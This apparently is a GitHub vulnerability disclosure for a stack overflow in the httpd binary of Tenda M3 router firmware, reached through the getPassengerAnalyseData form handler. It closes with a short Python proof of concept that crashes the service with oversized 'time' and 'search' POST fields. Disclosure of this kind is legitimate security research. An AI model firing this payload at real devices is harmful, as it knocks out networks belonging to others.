Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
IoT-vuln/Tenda/M3/formGetPassengerAnalyseData/
IoT-vuln/Tenda/M3/formGetPassengerAnalyseData/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
img
 
 
 
 

Overview

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the formGetPassengerAnalyseData function, which can be accessed via the URL goform/getPassengerAnalyseData

image-20220527170058077

image-20220527170112690

formGetPassengerAnalyseData function gets the POST parameter time and searchand copies to stack buffer without checking its length, causing a stack overflow vulnerability.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"time": b'A'*0x400,
    b"search": b'A'*0x400
}
cookies = {
    b"user": "admin"
}
res = requests.post("http://127.0.0.1/goform/getPassengerAnalyseData", data=data, cookies=cookies)
print(res.content)